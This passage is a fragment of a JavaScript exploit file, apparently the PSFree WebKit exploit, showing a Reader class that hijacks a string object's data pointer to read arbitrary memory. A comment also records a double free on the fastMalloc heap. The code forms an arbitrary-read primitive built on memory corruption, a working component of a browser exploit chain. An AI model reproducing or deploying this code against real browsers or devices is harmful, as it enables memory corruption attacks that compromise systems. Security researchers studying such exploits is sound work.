Class Reader

g2all/900/psfree.js:308–348

}

class Reader {
    constructor(rstr, rstr_view) {
        this.rstr = rstr;
        this.rstr_view = rstr_view;
        this.m_data = rstr_view.read64(off.strimpl_m_data);
    }

    read8_at(offset) {
        const str = this.rstr;
        return str.charCodeAt(offset) >>> 0;
    }

    read32_at(offset) {
        const str = this.rstr;
        return (
            str.charCodeAt(offset)
            | str.charCodeAt(offset + 1) << 8
            | str.charCodeAt(offset + 2) << 16
            | str.charCodeAt(offset + 3) << 24
        ) >>> 0;
    }

    read64_at(offset) {
        return sread64(this.rstr, offset);
    }

    read64(addr) {
        this.rstr_view.write64(off.strimpl_m_data, addr);
        return sread64(this.rstr, 0);
    }

    set_addr(addr) {
        this.rstr_view.write64(off.strimpl_m_data, addr);
    }

    // remember to use this to fix up the StringImpl before freeing it
    restore() {
        this.rstr_view.write64(off.strimpl_m_data, this.m_data);
        this.rstr_view.write32(off.strimpl_strlen, original_strlen);
    }
}

// we now have a double free on the fastMalloc heap
async function make_rdr(view) {